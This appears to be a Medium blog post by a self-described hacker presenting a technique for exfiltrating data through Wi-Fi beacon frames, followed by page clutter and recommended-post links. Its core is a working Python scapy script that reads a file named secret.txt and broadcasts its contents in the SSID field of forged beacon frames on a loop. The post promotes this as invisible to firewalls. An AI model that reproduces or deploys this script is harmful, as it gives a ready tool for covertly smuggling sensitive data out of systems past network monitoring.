Exfiltrating data using beacon frames

  1. The transmitter and receiver does not have to be connected to a wifi Access Point
  2. Firewalls cant see this because the devices are not connected to a wifi.
  1. It requires root
  2. It requires monitor mode
  3. Its short range
from scapy.all import Dot11,Dot11Beacon,Dot11Elt,RadioTap,sendp,hexdump
f = open(“secret.txt”,”r”)
s = f.read()
iface = ‘wlan0mon’
dot11 = Dot11(type=0, subtype=8, addr1=’ff:ff:ff:ff:ff:ff’,
addr2=’22:22:22:22:22:22', addr3=’33:33:33:33:33:33')
beacon = Dot11Beacon(cap=’ESS+privacy’)
essid = Dot11Elt(ID=’SSID’,info=s, len=len(s))
frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=0.100, loop=1)

--

--

--

I am a hacker,programmer , 3D Artist

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

hackstreetboys CTF Challenge — DNA (Misc) Write-Up

FaceDAO, The Future of The Social Media.

Illustrated Device Flow (RFC 8628)

{UPDATE} Bike Rider Stunts Hack Free Resources Generator

{UPDATE} Real Traffic Bike Attack Hack Free Resources Generator

{UPDATE} Flight Simulator Paris 2015 Online - FlyWings FREE TO PLAY Hack Free Resources Generator

{UPDATE} Car Robot Sim Transport Truck Hack Free Resources Generator

PSD2: : Threat or opportunity?

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Ciph3r

Ciph3r

I am a hacker,programmer , 3D Artist

More from Medium

Using eye movement analysis for activity recognition

Working with Bootstrap Modals(or PlantSwap Project Part 3)

Python3: Mutable, Immutable… everything is object!

Loan Application Status Prediction